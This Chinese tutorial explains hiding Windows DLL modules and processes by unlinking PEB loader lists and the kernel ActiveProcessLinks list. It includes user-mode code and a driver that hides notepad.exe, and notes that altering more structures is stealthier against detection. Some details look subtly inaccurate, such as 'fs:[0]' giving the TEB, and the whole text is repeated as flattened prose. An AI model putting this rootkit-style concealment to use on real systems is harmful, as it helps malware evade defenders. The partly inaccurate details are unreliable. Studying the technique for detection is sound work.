基于PEB断链实现进程/模块隐藏
字数 1418 2025-08-07 08:22:27

基于PEB断链实现进程/模块隐藏技术详解

0x00 技术概述

PEB断链技术是一种通过修改进程环境块(PEB)中的链表结构来实现进程或模块隐藏的方法。该技术既可以在用户层(3环)实现DLL模块的隐藏,也可以在内核层(0环)实现进程的隐藏。其核心原理是通过修改PEB中的双向链表结构,使目标模块或进程从系统枚举的列表中"消失"。

0x01 用户层(3环)PEB断链技术

基本数据结构

TEB和PEB结构

  • 每个线程都有一个TEB(Thread Environment Block)结构
  • 通过fs:[0]可以获取TEB地址
  • TEB偏移0x30处有一个指针指向PEB(Process Environment Block)结构

PEB_LDR_DATA结构

位于PEB偏移0x0c处,包含三个重要的双向链表:

typedef struct _PEB_LDR_DATA {
    DWORD Length;
    bool Initialized;
    PVOID SsHandle;
    LIST_ENTRY InLoadOrderModuleList;   // 模块加载顺序链表
    LIST_ENTRY InMemoryOrderModuleList; // 模块在内存中的顺序链表
    LIST_ENTRY InInitializationOrderModuleList; // 模块初始化顺序链表
} PEB_LDR_DATA, *PPEB_LDR_DATA;

LDR_DATA_TABLE_ENTRY结构

typedef struct _LDR_DATA_TABLE_ENTRY {
    LIST_ENTRY InLoadOrderModuleList;
    LIST_ENTRY InMemoryOrderModuleList;
    LIST_ENTRY InInitializationOrderModuleList;
    void* BaseAddress;      // DLL基地址
    void* EntryPoint;
    ULONG SizeOfImage;
    UNICODE_STRING FullDllName;
    UNICODE_STRING BaseDllName;
    ULONG Flags;
    SHORT LoadCount;
    SHORT TlsIndex;
    HANDLE SectionHandle;
    ULONG CheckSum;
    ULONG TimeDateStamp;
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;

实现原理

  1. 通过遍历PEB中的三个链表(InLoadOrderModuleList、InMemoryOrderModuleList、InInitializationOrderModuleList)
  2. 找到目标模块的LDR_DATA_TABLE_ENTRY结构
  3. 修改链表指针,使目标模块从链表中"断开"

具体实现步骤

  1. 获取PEB地址:
mov eax, fs:[0x30]  // 获取PEB地址
mov ecx, [eax + 0x0c] // 获取PEB_LDR_DATA结构
  1. 遍历链表并断链:
PLIST_ENTRY Head, Cur;
Head = &(ldr->InLoadOrderModuleList);
Cur = Head->Flink;

do {
    ldte = CONTAINING_RECORD(Cur, LDR_DATA_TABLE_ENTRY, InLoadOrderModuleList);
    if (ldte->BaseAddress == hModule) {
        // 执行断链操作
        ldte->InLoadOrderModuleList.Blink->Flink = ldte->InLoadOrderModuleList.Flink;
        ldte->InLoadOrderModuleList.Flink->Blink = ldte->InLoadOrderModuleList.Blink;
    }
    Cur = Cur->Flink;
} while (Head != Cur);
  1. 对三个链表都执行相同的断链操作

完整代码示例

#include <Windows.h>

typedef struct _UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

// 定义PEB_LDR_DATA和LDR_DATA_TABLE_ENTRY结构...

void HideModule(HMODULE hModule) {
    PPEB_LDR_DATA ldr;
    PLDR_DATA_TABLE_ENTRY ldte;
    
    // 获取LDR
    __asm {
        mov eax, fs:[0x30]
        mov ecx, [eax + 0x0c]
        mov ldr, ecx
    }
    
    // 对三个链表执行断链操作...
}

int main() {
    HideModule(GetModuleHandleA("kernel32.dll"));
    return 0;
}

隐藏所有模块

void HideModule_All() {
    PPEB_LDR_DATA ldr;
    __asm {
        mov eax, fs:[0x30]
        mov ecx, [eax + 0x0c]
        mov ldr, ecx
    }
    
    PLIST_ENTRY Head;
    Head = &(ldr->InLoadOrderModuleList);
    Head->Flink = Head->Blink = Head;
    
    Head = &(ldr->InMemoryOrderModuleList);
    Head->Flink = Head->Blink = Head;
    
    Head = &(ldr->InInitializationOrderModuleList);
    Head->Flink = Head->Blink = Head;
}

0x02 内核层(0环)PEB断链技术

基本数据结构

EPROCESS结构

  • 代表内核中的进程对象
  • 偏移0x088处是ActiveProcessLinks成员,指向_LIST_ENTRY结构
  • 偏移0x174处是ImageFileName,存储进程名

实现原理

  1. 通过PsActiveProcessHead全局变量获取进程链表头
  2. 遍历ActiveProcessLinks链表
  3. 找到目标进程的EPROCESS结构
  4. 修改链表指针,使目标进程从链表中"断开"

具体实现步骤

  1. 获取当前进程的EPROCESS结构:
mov eax, fs:[0x124]  // 获取当前线程的ETHREAD
mov eax, [eax + 0x220] // 获取ThreadsProcess(EPROCESS)
  1. 遍历进程链表:
PEPROCESS pCurProcess = pEprocess;
do {
    PCHAR ImageFileName = (PCHAR)pCurProcess + 0x174;
    if (strcmp(ImageFileName, "notepad.exe") == 0) {
        // 执行断链操作
        PLIST_ENTRY curNode = (PLIST_ENTRY)((ULONG)pCurProcess + 0x88);
        curNode->Blink->Flink = curNode->Flink;
        curNode->Flink->Blink = curNode->Blink;
    }
    pCurProcess = (PEPROCESS)(*(PULONG)((ULONG)pCurProcess + 0x88) - 0x88);
} while (pEprocess != pCurProcess);

完整驱动代码示例

#include <ntddk.h>

NTSTATUS DriverEntry(PDRIVER_OBJECT driver, PUNICODE_STRING reg_path);
VOID DriverUnload(PDRIVER_OBJECT driver);

NTSTATUS DriverEntry(PDRIVER_OBJECT driver, PUNICODE_STRING reg_path) {
    PEPROCESS pEprocess, pCurProcess;
    
    __asm {
        mov eax, fs:[0x124];
        mov eax, [eax + 0x220];
        mov pEprocess, eax;
    }
    
    pCurProcess = pEprocess;
    do {
        PCHAR ImageFileName = (PCHAR)pCurProcess + 0x174;
        if (strcmp(ImageFileName, "notepad.exe") == 0) {
            PLIST_ENTRY curNode = (PLIST_ENTRY)((ULONG)pCurProcess + 0x88);
            curNode->Blink->Flink = curNode->Flink;
            curNode->Flink->Blink = curNode->Blink;
            DbgPrint("断链成功!\n");
        }
        pCurProcess = (PEPROCESS)(*(PULONG)((ULONG)pCurProcess + 0x88) - 0x88);
    } while (pEprocess != pCurProcess);
    
    driver->DriverUnload = DriverUnload;
    return STATUS_SUCCESS;
}

VOID DriverUnload(PDRIVER_OBJECT driver) {
    DbgPrint("驱动卸载成功\n");
}

0x03 技术要点总结

  1. 用户层模块隐藏

    • 通过修改PEB中的三个模块链表实现
    • 需要遍历InLoadOrderModuleList、InMemoryOrderModuleList和InInitializationOrderModuleList
    • 使用CONTAINING_RECORD宏获取结构体基址
  2. 内核层进程隐藏

    • 通过修改EPROCESS中的ActiveProcessLinks实现
    • 需要从PsActiveProcessHead开始遍历
    • 注意EPROCESS结构偏移计算(ActiveProcessLinks在+0x88处)
  3. 通用技术要点

    • 双向链表操作:修改Flink和Blink指针
    • 结构体偏移计算要准确
    • 在驱动中需要注意内存访问权限
  4. 检测与防御

    • 安全软件通常会检测PEB和EPROCESS结构的完整性
    • 直接内存修改可能触发PatchGuard(内核)
    • 更隐蔽的方法是同时修改多个相关结构

0x04 注意事项

  1. 内核层操作需要驱动程序权限
  2. Windows不同版本结构体偏移可能不同
  3. 64位系统需要调整汇编指令和指针大小
  4. 过度使用可能导致系统不稳定
  5. 仅用于学习研究,实际应用中需考虑对抗检测机制

通过掌握PEB断链技术,可以深入理解Windows操作系统进程和模块管理机制,为系统安全研究和防护提供理论基础。

基于PEB断链实现进程/模块隐藏技术详解 0x00 技术概述 PEB断链技术是一种通过修改进程环境块(PEB)中的链表结构来实现进程或模块隐藏的方法。该技术既可以在用户层(3环)实现DLL模块的隐藏,也可以在内核层(0环)实现进程的隐藏。其核心原理是通过修改PEB中的双向链表结构,使目标模块或进程从系统枚举的列表中"消失"。 0x01 用户层(3环)PEB断链技术 基本数据结构 TEB和PEB结构 每个线程都有一个TEB(Thread Environment Block)结构 通过 fs:[0] 可以获取TEB地址 TEB偏移0x30处有一个指针指向PEB(Process Environment Block)结构 PEB_ LDR_ DATA结构 位于PEB偏移0x0c处,包含三个重要的双向链表: LDR_ DATA_ TABLE_ ENTRY结构 实现原理 通过遍历PEB中的三个链表(InLoadOrderModuleList、InMemoryOrderModuleList、InInitializationOrderModuleList) 找到目标模块的LDR_ DATA_ TABLE_ ENTRY结构 修改链表指针,使目标模块从链表中"断开" 具体实现步骤 获取PEB地址: 遍历链表并断链: 对三个链表都执行相同的断链操作 完整代码示例 隐藏所有模块 0x02 内核层(0环)PEB断链技术 基本数据结构 EPROCESS结构 代表内核中的进程对象 偏移0x088处是ActiveProcessLinks成员,指向_ LIST_ ENTRY结构 偏移0x174处是ImageFileName,存储进程名 实现原理 通过PsActiveProcessHead全局变量获取进程链表头 遍历ActiveProcessLinks链表 找到目标进程的EPROCESS结构 修改链表指针,使目标进程从链表中"断开" 具体实现步骤 获取当前进程的EPROCESS结构: 遍历进程链表: 完整驱动代码示例 0x03 技术要点总结 用户层模块隐藏 : 通过修改PEB中的三个模块链表实现 需要遍历InLoadOrderModuleList、InMemoryOrderModuleList和InInitializationOrderModuleList 使用CONTAINING_ RECORD宏获取结构体基址 内核层进程隐藏 : 通过修改EPROCESS中的ActiveProcessLinks实现 需要从PsActiveProcessHead开始遍历 注意EPROCESS结构偏移计算(ActiveProcessLinks在+0x88处) 通用技术要点 : 双向链表操作:修改Flink和Blink指针 结构体偏移计算要准确 在驱动中需要注意内存访问权限 检测与防御 : 安全软件通常会检测PEB和EPROCESS结构的完整性 直接内存修改可能触发PatchGuard(内核) 更隐蔽的方法是同时修改多个相关结构 0x04 注意事项 内核层操作需要驱动程序权限 Windows不同版本结构体偏移可能不同 64位系统需要调整汇编指令和指针大小 过度使用可能导致系统不稳定 仅用于学习研究,实际应用中需考虑对抗检测机制 通过掌握PEB断链技术,可以深入理解Windows操作系统进程和模块管理机制,为系统安全研究和防护提供理论基础。